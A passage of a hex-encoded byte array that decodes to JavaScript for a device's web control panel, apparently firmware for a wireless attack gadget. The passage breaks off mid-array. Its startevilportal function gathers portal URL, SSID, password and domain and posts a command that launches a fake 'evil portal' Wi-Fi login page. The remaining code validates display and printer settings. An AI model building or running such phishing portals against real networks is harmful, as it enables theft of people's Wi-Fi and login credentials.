0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x73, 0x74, 0x61, 0x72, 0x74, 0x65, 0x76, 0x69, 0x6C, 0x70, 0x6F, 0x72, 0x74, - 0x61, 0x6C, 0x28, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x50, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x55, 0x52, 0x4C, 0x20, 0x3D, 0x20, 0x64, 0x6F, - 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, 0x75, 0x72, 0x6C, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, - 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6C, 0x65, 0x74, 0x20, 0x50, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x53, 0x53, 0x49, 0x44, 0x20, 0x3D, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, - 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, 0x73, 0x73, 0x69, 0x64, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x3B, 0x0D, 0x0A, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6C, 0x65, 0x74, 0x20, 0x50, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, 0x20, 0x3D, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, - 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, - 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6C, 0x65, 0x74, 0x20, 0x50, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x41, 0x50, 0x53, 0x53, 0x49, 0x44, 0x20, 0x3D, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, - 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, 0x61, 0x70, 0x5F, 0x73, 0x73, 0x69, 0x64, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, - 0x75, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6C, 0x65, 0x74, 0x20, 0x50, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x44, 0x6F, 0x6D, 0x61, 0x69, 0x6E, 0x20, 0x3D, 0x20, 0x64, 0x6F, 0x63, 0x75, - 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, 0x64, 0x6F, 0x6D, 0x61, 0x69, 0x6E, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, - 0x75, 0x65, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x20, 0x56, 0x61, 0x6C, 0x69, 0x64, 0x61, 0x74, 0x65, 0x20, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x73, 0x0D, 0x0A, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x73, 0x20, 0x3D, 0x20, 0x5B, 0x5D, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x28, 0x50, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x55, 0x52, 0x4C, 0x20, 0x3D, 0x3D, 0x3D, 0x20, 0x27, 0x27, 0x29, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x73, 0x2E, 0x70, 0x75, 0x73, 0x68, 0x28, 0x27, 0x50, 0x6C, - 0x65, 0x61, 0x73, 0x65, 0x20, 0x65, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x61, 0x20, 0x50, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x20, 0x55, 0x52, 0x4C, 0x20, 0x6F, 0x72, 0x20, 0x46, 0x69, 0x6C, 0x65, 0x20, 0x50, 0x61, 0x74, 0x68, 0x2E, 0x27, 0x29, 0x3B, - 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x28, 0x50, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x53, 0x53, 0x49, 0x44, 0x20, 0x3D, 0x3D, 0x3D, 0x20, 0x27, 0x27, 0x29, 0x20, 0x65, 0x72, 0x72, - 0x6F, 0x72, 0x73, 0x2E, 0x70, 0x75, 0x73, 0x68, 0x28, 0x27, 0x50, 0x6C, 0x65, 0x61, 0x73, 0x65, 0x20, 0x65, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x61, 0x20, 0x50, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x20, 0x53, 0x53, 0x49, 0x44, 0x2E, 0x27, 0x29, 0x3B, - 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x28, 0x50, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, 0x20, 0x3D, 0x3D, 0x3D, 0x20, 0x27, 0x27, 0x29, - 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x73, 0x2E, 0x70, 0x75, 0x73, 0x68, 0x28, 0x27, 0x50, 0x6C, 0x65, 0x61, 0x73, 0x65, 0x20, 0x65, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x61, 0x20, 0x50, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x20, 0x50, 0x61, 0x73, 0x73, - 0x77, 0x6F, 0x72, 0x64, 0x2E, 0x27, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x28, 0x50, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x41, 0x50, 0x53, 0x53, 0x49, 0x44, 0x20, 0x3D, - 0x3D, 0x3D, 0x20, 0x27, 0x27, 0x29, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x73, 0x2E, 0x70, 0x75, 0x73, 0x68, 0x28, 0x27, 0x50, 0x6C, 0x65, 0x61, 0x73, 0x65, 0x20, 0x65, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x61, 0x20, 0x50, 0x6F, 0x72, 0x74, 0x61, - 0x6C, 0x20, 0x41, 0x50, 0x20, 0x53, 0x53, 0x49, 0x44, 0x2E, 0x27, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x28, 0x50, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x44, 0x6F, 0x6D, - 0x61, 0x69, 0x6E, 0x20, 0x3D, 0x3D, 0x3D, 0x20, 0x27, 0x27, 0x29, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x73, 0x2E, 0x70, 0x75, 0x73, 0x68, 0x28, 0x27, 0x50, 0x6C, 0x65, 0x61, 0x73, 0x65, 0x20, 0x65, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x61, 0x20, - 0x50, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x20, 0x44, 0x6F, 0x6D, 0x61, 0x69, 0x6E, 0x2E, 0x27, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x28, 0x65, 0x72, 0x72, - 0x6F, 0x72, 0x73, 0x2E, 0x6C, 0x65, 0x6E, 0x67, 0x74, 0x68, 0x20, 0x3E, 0x20, 0x30, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x6C, 0x65, 0x72, 0x74, - 0x28, 0x27, 0x50, 0x6C, 0x65, 0x61, 0x73, 0x65, 0x20, 0x63, 0x6F, 0x72, 0x72, 0x65, 0x63, 0x74, 0x20, 0x74, 0x68, 0x65, 0x20, 0x66, 0x6F, 0x6C, 0x6C, 0x6F, 0x77, 0x69, 0x6E, 0x67, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x73, 0x3A, 0x5C, 0x6E, - 0x27, 0x20, 0x2B, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x73, 0x2E, 0x6A, 0x6F, 0x69, 0x6E, 0x28, 0x27, 0x5C, 0x6E, 0x27, 0x29, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6E, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, - 0x2F, 0x20, 0x57, 0x72, 0x61, 0x70, 0x20, 0x70, 0x61, 0x72, 0x61, 0x6D, 0x65, 0x74, 0x65, 0x72, 0x73, 0x20, 0x69, 0x6E, 0x20, 0x64, 0x6F, 0x75, 0x62, 0x6C, 0x65, 0x20, 0x71, 0x75, 0x6F, 0x74, 0x65, 0x73, 0x20, 0x69, 0x66, 0x20, 0x74, 0x68, - 0x65, 0x79, 0x20, 0x63, 0x6F, 0x6E, 0x74, 0x61, 0x69, 0x6E, 0x20, 0x73, 0x70, 0x61, 0x63, 0x65, 0x73, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x50, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x53, 0x53, 0x49, - 0x44, 0x20, 0x3D, 0x20, 0x77, 0x72, 0x61, 0x70, 0x49, 0x6E, 0x51, 0x75, 0x6F, 0x74, 0x65, 0x73, 0x49, 0x66, 0x4E, 0x65, 0x65, 0x64, 0x65, 0x64, 0x28, 0x50, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x53, 0x53, 0x49, 0x44, 0x29, 0x3B, 0x0D, 0x0A, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x50, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, 0x20, 0x3D, 0x20, 0x77, 0x72, 0x61, 0x70, 0x49, 0x6E, 0x51, 0x75, 0x6F, 0x74, 0x65, 0x73, - 0x49, 0x66, 0x4E, 0x65, 0x65, 0x64, 0x65, 0x64, 0x28, 0x50, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x50, - 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x41, 0x50, 0x53, 0x53, 0x49, 0x44, 0x20, 0x3D, 0x20, 0x77, 0x72, 0x61, 0x70, 0x49, 0x6E, 0x51, 0x75, 0x6F, 0x74, 0x65, 0x73, 0x49, 0x66, 0x4E, 0x65, 0x65, 0x64, 0x65, 0x64, 0x28, 0x50, 0x6F, 0x72, 0x74, 0x61, - 0x6C, 0x41, 0x50, 0x53, 0x53, 0x49, 0x44, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x50, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x44, 0x6F, 0x6D, 0x61, 0x69, 0x6E, 0x20, 0x3D, 0x20, 0x77, 0x72, - 0x61, 0x70, 0x49, 0x6E, 0x51, 0x75, 0x6F, 0x74, 0x65, 0x73, 0x49, 0x66, 0x4E, 0x65, 0x65, 0x64, 0x65, 0x64, 0x28, 0x50, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x44, 0x6F, 0x6D, 0x61, 0x69, 0x6E, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x63, 0x6F, 0x6D, 0x6D, 0x61, 0x6E, 0x64, 0x20, 0x3D, 0x20, 0x60, 0x73, 0x74, 0x61, 0x72, 0x74, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x60, 0x3B, 0x0D, - 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x65, 0x74, 0x63, 0x68, 0x28, 0x27, 0x2F, 0x61, 0x70, 0x69, 0x2F, 0x63, 0x6F, 0x6D, 0x6D, 0x61, 0x6E, 0x64, 0x27, 0x2C, 0x20, 0x7B, 0x0D, 0x0A, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x65, 0x74, 0x68, 0x6F, 0x64, 0x3A, 0x20, 0x27, 0x50, 0x4F, 0x53, 0x54, 0x27, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x3A, 0x20, 0x7B, 0x20, 0x27, 0x43, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x2D, 0x54, 0x79, 0x70, 0x65, 0x27, 0x3A, 0x20, 0x27, 0x61, 0x70, 0x70, - 0x6C, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x2F, 0x6A, 0x73, 0x6F, 0x6E, 0x27, 0x20, 0x7D, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x64, 0x79, 0x3A, - 0x20, 0x4A, 0x53, 0x4F, 0x4E, 0x2E, 0x73, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x69, 0x66, 0x79, 0x28, 0x7B, 0x20, 0x63, 0x6F, 0x6D, 0x6D, 0x61, 0x6E, 0x64, 0x3A, 0x20, 0x63, 0x6F, 0x6D, 0x6D, 0x61, 0x6E, 0x64, 0x20, 0x7D, 0x29, 0x0D, 0x0A, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x29, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x74, 0x68, 0x65, 0x6E, 0x28, 0x72, 0x65, 0x73, 0x70, 0x6F, 0x6E, 0x73, - 0x65, 0x20, 0x3D, 0x3E, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x28, 0x72, 0x65, 0x73, 0x70, 0x6F, 0x6E, 0x73, 0x65, 0x2E, 0x6F, 0x6B, 0x29, - 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x6C, 0x65, 0x72, 0x74, 0x28, 0x27, 0x45, 0x76, 0x69, 0x6C, 0x20, 0x50, 0x6F, 0x72, 0x74, - 0x61, 0x6C, 0x20, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x64, 0x20, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x66, 0x75, 0x6C, 0x6C, 0x79, 0x2E, 0x2E, 0x2E, 0x20, 0x59, 0x6F, 0x75, 0x20, 0x41, 0x72, 0x65, 0x20, 0x6E, 0x6F, 0x77, 0x20, - 0x44, 0x69, 0x73, 0x63, 0x6F, 0x6E, 0x6E, 0x65, 0x63, 0x74, 0x65, 0x64, 0x20, 0x46, 0x72, 0x6F, 0x6D, 0x20, 0x47, 0x68, 0x6F, 0x73, 0x74, 0x4E, 0x65, 0x74, 0x27, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x20, 0x65, 0x6C, 0x73, 0x65, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x6C, 0x65, - 0x72, 0x74, 0x28, 0x27, 0x45, 0x72, 0x72, 0x6F, 0x72, 0x20, 0x53, 0x65, 0x6E, 0x64, 0x69, 0x6E, 0x67, 0x20, 0x45, 0x76, 0x69, 0x6C, 0x20, 0x50, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x20, 0x43, 0x6F, 0x6D, 0x6D, 0x61, 0x6E, 0x64, 0x2E, 0x2E, 0x2E, - 0x27, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x29, 0x0D, 0x0A, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x63, 0x61, 0x74, 0x63, 0x68, 0x28, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x20, 0x3D, 0x3E, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x6F, 0x6C, 0x65, 0x2E, 0x65, 0x72, 0x72, 0x6F, - 0x72, 0x28, 0x27, 0x45, 0x72, 0x72, 0x6F, 0x72, 0x20, 0x53, 0x65, 0x6E, 0x64, 0x69, 0x6E, 0x67, 0x20, 0x45, 0x76, 0x69, 0x6C, 0x20, 0x50, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x20, 0x43, 0x6F, 0x6D, 0x6D, 0x61, 0x6E, 0x64, 0x2E, 0x2E, 0x2E, 0x27, - 0x2C, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x29, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x20, 0x46, 0x75, 0x6E, 0x63, - 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x74, 0x6F, 0x20, 0x76, 0x61, 0x6C, 0x69, 0x64, 0x61, 0x74, 0x65, 0x20, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x20, 0x62, 0x65, 0x66, 0x6F, 0x72, 0x65, 0x20, 0x73, 0x61, 0x76, 0x69, 0x6E, 0x67, 0x0D, - 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x76, 0x61, 0x6C, 0x69, 0x64, 0x61, 0x74, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x28, 0x73, 0x65, 0x74, 0x74, 0x69, - 0x6E, 0x67, 0x73, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x73, 0x20, 0x3D, 0x20, 0x5B, 0x5D, 0x3B, 0x0D, 0x0A, - 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x20, 0x42, 0x72, 0x6F, 0x61, 0x64, 0x63, 0x61, 0x73, 0x74, 0x20, 0x53, 0x70, 0x65, 0x65, 0x64, 0x3A, 0x20, 0x35, 0x20, 0x2D, 0x20, 0x31, 0x30, - 0x30, 0x30, 0x20, 0x6D, 0x73, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x28, 0x21, 0x28, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x2E, 0x62, 0x72, 0x6F, 0x61, 0x64, 0x63, - 0x61, 0x73, 0x74, 0x5F, 0x73, 0x70, 0x65, 0x65, 0x64, 0x20, 0x3E, 0x3D, 0x20, 0x35, 0x20, 0x26, 0x26, 0x20, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x2E, 0x62, 0x72, 0x6F, 0x61, 0x64, 0x63, 0x61, 0x73, 0x74, 0x5F, 0x73, 0x70, 0x65, - 0x65, 0x64, 0x20, 0x3C, 0x3D, 0x20, 0x31, 0x30, 0x30, 0x30, 0x29, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x73, 0x2E, 0x70, - 0x75, 0x73, 0x68, 0x28, 0x27, 0x42, 0x72, 0x6F, 0x61, 0x64, 0x63, 0x61, 0x73, 0x74, 0x20, 0x53, 0x70, 0x65, 0x65, 0x64, 0x20, 0x6D, 0x75, 0x73, 0x74, 0x20, 0x62, 0x65, 0x20, 0x62, 0x65, 0x74, 0x77, 0x65, 0x65, 0x6E, 0x20, 0x35, 0x20, 0x61, - 0x6E, 0x64, 0x20, 0x31, 0x30, 0x30, 0x30, 0x20, 0x6D, 0x73, 0x2E, 0x27, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x20, 0x52, 0x47, 0x42, 0x20, 0x53, 0x70, 0x65, 0x65, 0x64, 0x3A, 0x20, 0x31, 0x35, 0x20, 0x2D, 0x20, 0x35, 0x30, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x69, 0x66, 0x20, 0x28, 0x21, 0x28, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x2E, 0x72, 0x67, 0x62, 0x5F, 0x73, 0x70, 0x65, 0x65, 0x64, 0x20, 0x3E, 0x3D, 0x20, 0x31, 0x35, 0x20, 0x26, 0x26, 0x20, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6E, - 0x67, 0x73, 0x2E, 0x72, 0x67, 0x62, 0x5F, 0x73, 0x70, 0x65, 0x65, 0x64, 0x20, 0x3C, 0x3D, 0x20, 0x35, 0x30, 0x29, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x65, 0x72, 0x72, 0x6F, 0x72, 0x73, 0x2E, 0x70, 0x75, 0x73, 0x68, 0x28, 0x27, 0x52, 0x47, 0x42, 0x20, 0x53, 0x70, 0x65, 0x65, 0x64, 0x20, 0x6D, 0x75, 0x73, 0x74, 0x20, 0x62, 0x65, 0x20, 0x62, 0x65, 0x74, 0x77, 0x65, 0x65, 0x6E, 0x20, 0x31, - 0x35, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x35, 0x30, 0x2E, 0x27, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x20, 0x50, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x46, 0x6F, 0x6E, 0x74, 0x20, 0x53, 0x69, 0x7A, 0x65, 0x3A, 0x20, 0x31, 0x30, 0x20, 0x2D, 0x20, 0x37, 0x32, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x28, 0x21, 0x28, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x2E, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x5F, 0x66, 0x6F, 0x6E, 0x74, 0x5F, 0x73, 0x69, 0x7A, 0x65, 0x20, 0x3E, - 0x3D, 0x20, 0x31, 0x30, 0x20, 0x26, 0x26, 0x20, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x2E, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x5F, 0x66, 0x6F, 0x6E, 0x74, 0x5F, 0x73, 0x69, 0x7A, 0x65, 0x20, 0x3C, 0x3D, 0x20, 0x37, 0x32, - 0x29, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x73, 0x2E, 0x70, 0x75, 0x73, 0x68, 0x28, 0x27, 0x50, 0x72, 0x69, 0x6E, 0x74, - 0x65, 0x72, 0x20, 0x46, 0x6F, 0x6E, 0x74, 0x20, 0x53, 0x69, 0x7A, 0x65, 0x20, 0x6D, 0x75, 0x73, 0x74, 0x20, 0x62, 0x65, 0x20, 0x62, 0x65, 0x74, 0x77, 0x65, 0x65, 